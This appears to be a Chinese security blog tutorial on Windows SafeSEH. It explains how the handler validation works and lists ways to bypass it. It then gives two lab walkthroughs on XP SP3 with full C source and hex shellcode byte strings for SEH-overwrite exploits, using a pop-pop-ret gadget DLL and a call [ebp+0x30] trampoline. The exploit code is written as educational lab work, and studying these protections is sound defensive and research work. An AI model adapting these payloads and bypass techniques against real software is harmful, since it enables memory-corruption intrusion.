SafeSEH原理

在 Windows XP sp2 以及之后的版本中,微软引入了 S.E.H 校验机制 SafeSEH。SafeSEH 需要 OS 和 Compiler 的双重支持,二者缺一都会降低保护能力。通过启用 /SafeSEH 链接选项可心使编译好的程序具备 SafeSEH 功能(VS2003 及后续版本默认启用)。该选项会将所有异常处理函数地址提取出来,编入 SEH 表中,并将这张表放到程序的映像里。异常调用时,就与这张预先存好的表中的地址进行校验。

VS 的 Visual Studio 200* Command Prompt 中,使用 dumpbin /loadconfig *.exe 命令可以查看 SEH 表:

Microsoft (R) COFF/PE Dumper Version 9.00.30729.01
Copyright (C) Microsoft Corporation.  All rights reserved.Dump of file gs.exeFile Type: EXECUTABLE IMAGESection contains the following load config:00000048 size0 time date stamp0.00 Version0 GlobalFlags Clear0 GlobalFlags Set0 Critical Section Default Timeout0 Decommit Free Block Threshold0 Decommit Total Free Threshold00000000 Lock Prefix Table0 Maximum Allocation Size0 Virtual Memory Threshold0 Process Heap Flags0 Process Affinity Mask0 CSD Version0000 Reserved00000000 Edit list00403000 Security Cookie004021C0 Safe Exception Handler Table1 Safe Exception Handler CountSafe Exception Handler TableAddress--------004017F5  __except_handler4Summary1000 .data1000 .rdata1000 .reloc1000 .rsrc1000 .text

SafeSEH 机制从 RtlDispatchException() 开始:

1. 如果异常处理链不在当前程序的栈中,则终止异常处理调用。
2. 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用。
3. 在前两项检查都通过后,调用 RtlIsValidHandler() 进行异常处理有效性检查。

Alex 在 08 年的 Black Hat 大会上披露了 RtlIsValidHandler() 的细节:

BOOL RtlIsValidHandler( handler )
{if (handler is in the loaded image)      // 在加载模块的内存空间内{if (image has set the IMAGE_DLLCHARACTERISTICS_NO_SEH flag)return FALSE;                    // 程序设置了忽略异常处理if (image has a SafeSEH table)       // 含有 SafeSEH 表说明程序启用了 SafeSEHif (handler found in the table)  // 异常处理函数地址在表中return TRUE;elsereturn FALSE;if (image is a .NET assembly with the ILonly flag set)return FALSE;                    // 包含 IL 标志的 .NET 中间语言程序}if (handler is on non-executable page)   // 在不可执行页上{if (ExecuteDispatchEnable bit set in the process flags)return TRUE;                     // DEP 关闭elseraise ACCESS_VIOLATION;          // 访问违例异常}if (handler is not in an image)          // 在可执行页上,但在加载模块之外{if (ImageDispatchEnable bit set in the process flags)return TRUE;                     // 允许加载模块内存空间外执行elsereturn FALSE;}return TRUE;                             // 允许执行异常处理函数
}

由此可见,SafeSEH 对 S.E.H 的保护已经很完善了,能有效降低通过攻击 S.E.H 异常处理函数指针而获得控制权的可能性。RtlIsValidHandler() 函数只有在以下三种情况下都会允许异常处理函数的执行:

1. 异常处理函数指针位于加载模块内存范围外,并且 DEP 关闭
2. 异常处理函数指针位于加载模块内存范围内,相应模块未启用 SafeSEH 且不是纯 IL   // 注意,若上述伪代码的第 13 行未执行则会执行第 31 行
3. 异常处理函数指针位于加载模块内存范围内,相应模块启用 SafeSEH 且函数地址在 SEH 表中

针对以上三种可能性:

1. 若 DEP 关闭,则只要在当前模块的内存范围之外找一个跳板,就能转入 shellcode 执行

2. 第二种情况,可以在加载模块中找一个没有启用 SafeSEH 的模块,用这个未启用 SafeSEH 模块里的指令作为跳板,转入 shellcode 执行。(所以说 SafeSEH 需要 OS 与 Compiler 的双重支持)

3. 可以考虑清空 SafeSEH 表以欺骗 OS,或者将自己的函数地址注入到 SEH 表中。但因为 SEH 表的信息在内存中是加密的,破坏它很难,故放弃。

SEH 有一个缺陷:如果 SEH 中的异常函数指针指向堆区,那即使 SEH 校验发现异常处理函数不可信,仍然会调用这个不可信的异常处理函数!所以只要将 shellcode 布置在堆区就能直接跳转执行!!

另外,攻击返回地址或者虚函数也可以直接绕过 SafeSEH;

绕过 SafeSEH

方法一:覆盖函数返回地址。若攻击对象启用了 SafeSEH 但是 没有启用 GS 或者存在未受 GS 保护的函数,则可用这个方法。

方法二:攻击虚函数表来绕过 SafeSEH。

方法三:将 shellcode 部署在堆中以绕过 SafeSEH。

方法三:利用未启用 SafeSEH 的模块绕过 SafeSEH。(针对上述的 RtlIsValidHandler() 函数的第二种放行可能)

方法四:DEP 关闭时,可以利用加载模块之外的指令作为跳板(见后文示例)。

利用未启用 SafeSEH 的模块绕过 SafeSEH

环境:vs2017+vc6+xp sp3

思路是:在没有启用 SafeSEH 并且不是纯 IL 的模块中寻找跳板,利用跳板绕过 SafeSEH。

以下是实验构建的无 SafeSEH 保护的模块,用来做跳板用:

#include "stdafx.h"BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{return TRUE;
}void jump()
{__asm {pop eaxpop eaxretn}
}

vc6工程设置:

1.关闭代码优化

2.设置dll加载基地址

这个实验中需要用到一个 OllyDbg 的插件:OllySSEH,下载地址:https://download.csdn.net/download/whatday/10707442

OllyDbg 加载以上代码编译出的 DLL 文件,使用 OllySSEH 查看 SafeSEH 情况可以发现此 DLL 无 SafeSEH 保护。用OD中的ctrl+b二进制搜索58 58 c3找到自己写的pop eax, pop eax, retn地址

将以上代码加入一个 VC++ 6.0 的 Simple DLL Project 中,并按要求设置好链接参数后,可以编译出适合作为跳板的关闭 SafeSEH 的 DLL 文件。将这个 DLL 放置在以下代码形成的 exe 同级目录中,就可以完成弹窗实验:

以下代码在vs2017下编译完成 工程设置如下:

#define _CRT_SECURE_NO_WARNINGS#include <windows.h>
#include <stdio.h>char shellcode[] =//填满buf的补齐200字节 32字节
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//实现MessageBoxA功能的shellcode 168字节
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E"
"\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38"
"\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1"
"\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E"
"\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"//覆盖延申到seh函数地址
"\x90\x90\x90\x90\x90\x90\x90"//jmp跳到shellcode最开始
"\xE9\x4C\xFF\xFF\xFF"//seh函数返回地址 pop pop ret(58 58 c3) 会返回到这里 jmp短跳到上边jmp长跳
"\xEB\xF9\x90\x90"//覆盖seh函数地址
"\x12\x10\x12\x11";DWORD MyException(void)
{printf("There is an exception");getchar();return 1;
}void test(char * input)
{char str[200];strcpy(str, input);int zero = 0;__try{zero = 1 / zero;}__except(MyException()){}
}int main()
{HINSTANCE hInst = LoadLibrary(L"vc6dll.dll");char str[200];__asm int 3test(shellcode);return 0;
}

以上代码和《0day》略有区别 因为编译器不一样  具体修改原因如下:

1.把功能shellcode放到 “//覆盖seh函数地址” 之后会发现栈空间不够用 所以只能放在前边的nop区 从而减少nop的字节数

2.如果在“//seh函数返回地址”放入jmp长跳字节数不够只有4字节 如果向前挪动一字节 又错过了返回地址

3.如果在“//覆盖seh函数地址”后直接jmp长跳到上边shellcode 发现jmp的最后一字节会被其他占用 jmp长跳是5字节 只能使用前边4字节 而且流程到了“//seh函数返回地址” 会重复执行 pop pop ret 改变程序流程出错

4.所以只有在“//seh函数返回地址”放入2字节的短跳 中转到上边的长跳 最终跳向功能shellcode

上述原因可以通过OD调试得到

利用加载模块之外的指令作为跳板

shellcode 准备完备之前,OD插件OllyFindAddr下载地址:https://download.csdn.net/download/whatday/10707527

用OD插件OllyFindAddr -> Overflow Return Address -> Find CALL/JMP [EBP+N] 来寻找可以使用的跳板,操作完成后打开OD的Log 在非加载模块的地方找到一条很好的跳板:0x00280B0B : call [ebp+0x30]。经调试发现异常处理函数调用时, ebp + 0x30 处存放的是 next SEH struct和先前的 pop pop retn 是一样的效果

代码在vs2017下编译完成  工程设置和上边一样

#define _CRT_SECURE_NO_WARNINGS#include <windows.h>
#include <stdio.h>char shellcode[] =//填满buf的补齐200字节 32字节
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//实现MessageBoxA功能的shellcode 168字节
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E"
"\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38"
"\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1"
"\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E"
"\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"//覆盖延申到seh函数地址
"\x90\x90\x90\x90\x90\x90\x90"//jmp跳到shellcode最开始
"\xE9\x4C\xFF\xFF\xFF"//pop pop ret(58 58 c3) 会返回到这里 jmp短跳到上边jmp长跳
"\xEB\xF9\x90\x90"//覆盖seh函数地址     对应指令call [ebp+0x30]
"\x0B\x0B\x28\x00";DWORD MyException(void)
{printf("There is an exception");getchar();return 1;
}void test(char * input)
{char str[200];strcpy(str, input);int zero = 0;__try{zero = 1 / zero;}__except(MyException()){}
}int main()
{//__asm int 3test(shellcode);return 0;
}

需要说明的是OD直接打开调试 和 int 3附加OD 找到的地址是不同的

OD直接打开

int 3附加OD

这个原因就是《0day》5.4.3中所说的 调试堆和常态堆的区别了 所以写shellcode取地址时 最好用int 3附加OD

SafeSEH原理与对抗相关推荐

  1. GANs系列:GAN生成式对抗网络原理以及数学表达式解剖

    一.GAN介绍 生成式对抗网络(GAN, Generative Adversarial Networks )是一种深度学习模型,是近年来复杂分布上无监督学习最具前景的方法之一.模型通过框架中(至少)两 ...

  2. wps生成正态分布的随机数_量子计算与机器学习: 量子生成对抗网络QGAN

    随着量子信息和量子计算的快速发展(经费多了),科研工作者们一边感叹着量子计算机时代即将拥有的强大计算能力,一边又在考虑着如何将现有的高效算法和量子计算机相适配.作为最近几年如此火爆的机器学习,也就自然 ...

  3. 四天搞懂生成对抗网络(一)——通俗理解经典GAN

    点击左上方蓝字关注我们 [飞桨开发者说]吕坤,唐山广播电视台,算法工程师,喜欢研究GAN等深度学习技术在媒体.教育上的应用. 序言 做图像分类.检测任务时,为了提高模型精度,在数据处理方面,我尝试了很 ...

  4. 生成对抗网络——GAN(一)

    Generative adversarial network 据有关媒体统计:CVPR2018的论文里,有三分之一的论文与GAN有关 由此可见,GAN在视觉领域的未来多年内,将是一片沃土(CVer们是 ...

  5. 红队笔记之杀软原理介绍与免杀技术总结

    杀软的常用杀毒引擎 搞免杀之前呢肯定要对杀毒软件的查杀方法进行了解,了解后才能有效的制定绕过策略,以达到的免杀的目的,因为免杀本就是一个对抗的过程所以任何免杀都有着自己的时效性.下文将分别分析杀软的常 ...

  6. 【飞桨PaddlePaddle】四天搞懂生成对抗网络(一)——通俗理解经典GAN

    ​​​​ 序言 做图像分类.检测任务时,为了提高模型精度,在数据处理方面,我尝试了很多数据增强tricks(包括了简单的裁切.变形.明暗.颜色调整,也包括了MixUp图像融合以及SMOTE这样的解决类 ...

  7. windows溢出保护原理与绕过方法概览(转自riusksk's blog(泉哥))

    前言 从20世纪80年代开始,在国外就有人开始讨论关于溢出的攻击方式.但是在当时并没有引起人们的注意,直至后来经一些研究人员的披露后,特别是著名黑客杂 志Phrack上面关于溢出的经典文章,引领许多人 ...

  8. 科研篇二:对抗样本(Adversarial Example)综述

    文章目录 一.写作动机与文献来源 二.术语定义 2.1.对抗样本/图片(Adversarial Example/Image) 2.2.对抗干扰(Adversarial perturbation) 2. ...

  9. 基于GANs的图像编辑方法

    近些年来,生成对抗网络在许多图像生成和图像编辑任务上都获得了很大的成功,并受到越来越多的关注.对于图像编辑任务,现在面临的两个重要的挑战分别是:如何提升生成图像的质量和如何灵活控制生成图像内容.这次分 ...

最新文章

  1. 修改代码的艺术----- 2.2 高层测试 2.3 测试覆盖
  2. 苹果也像谷歌一样,玩起了自己的X
  3. ubunto用户切换
  4. HttpServletResponse类
  5. LeetCode 34. Search for a Range
  6. php 遍历文件夹下的所有文件名以及文件大小
  7. 通过jQuery Ajax使用FormData对象上传文件
  8. java中的递归算法_java递归算法详解
  9. RTSP HTTP流媒体播放器demo
  10. JavaAPI在线帮助文档
  11. 判断是否为回文字符串
  12. python实现信号预加重
  13. 丑数 打表+二分查找
  14. 2019年大龄程序员书单
  15. android 11.0 12.0Camera2 去掉后置摄像头 仅支持前置摄像头功能
  16. Kubernetes 二进制安装详细步骤
  17. 【vue作业】vue实现海贼王网页介绍--动漫网站设计
  18. Centos7虚拟机的DNS服务器的配置和测试
  19. source insight macro
  20. C13:Unity3D制作智能家居设计软件——定制系统

热门文章

  1. gcc在Ubuntu上安装和使用
  2. STVD出现红色区域
  3. JavaScript随机生成颜色以及十六进制颜色 与RGB颜色值的相互转换
  4. keystonejs富文本问题及思考过程
  5. 【300】◀▶ IDL - ENVI API
  6. R语言修改标题、坐标轴刻度、坐标轴名称的大小(cex.axis、cex.lab、cex.main函数)...
  7. Elixir 1.3带来新的语言功能、API和改进后的工具
  8. oracle表分区详解
  9. LOGO设计价格 之 全面解说和如何选择 【原创】
  10. Spring Cloud构建微服务架构-服务网关